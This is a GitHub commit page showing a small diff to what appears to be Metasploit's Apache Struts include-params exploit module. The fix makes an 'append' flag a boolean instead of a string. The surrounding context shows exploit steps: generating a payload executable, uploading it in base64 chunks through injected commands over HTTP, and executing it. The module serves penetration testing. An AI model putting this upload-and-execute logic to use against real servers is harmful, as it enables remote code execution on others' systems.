Skip to content

Commit

Permalink
boolean issue fix
Browse files Browse the repository at this point in the history
  • Loading branch information
Console committed May 30, 2013
1 parent 5fa8ecd commit eb4162d
Showing 1 changed file with 5 additions and 3 deletions.
8 changes: 5 additions & 3 deletions modules/exploits/multi/http/struts_include_params.rb
Original file line number Diff line number Diff line change
Expand Up @@ -108,7 +108,7 @@ def exploit
#Set up generic values.
@payload_exe = rand_text_alphanumeric(4+rand(4))
pl_exe = generate_payload_exe
append = 'false'
append = false
#Now arch specific...
case target['Platform']
when 'linux'
Expand Down Expand Up @@ -138,7 +138,8 @@ def exploit
# Now with all the arch specific stuff set, perform the upload.
# Need to calculate amount to allocate for non-dynamic parts of the URL.
# Fixed strings are tokens used for substitutions.
sub_from_chunk = append.length + ( @java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length )
append_length = append ? "true".length : "false".length # Gets around the boolean/string issue
sub_from_chunk = append_length + ( @java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length )
sub_from_chunk += ( @inject.length - "CMD".length ) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length
case datastore['HTTPMETHOD']
when 'GET'
Expand All @@ -162,8 +163,9 @@ def exploit
register_files_for_cleanup(@payload_exe)
end

def java_upload_part(part, filename, append = 'false')
def java_upload_part(part, filename, append = false)
cmd = @java_upload_part_cmd.gsub(/FILENAME/,filename)
append = append ? "true" : "false" # converted for the string replacement.
cmd = cmd.gsub!(/APPEND/,append)
cmd = cmd.gsub!(/BUFFER/,Rex::Text.encode_base64(part))
execute_command(cmd)
Expand Down

0 comments on commit eb4162d

Please sign in to comment.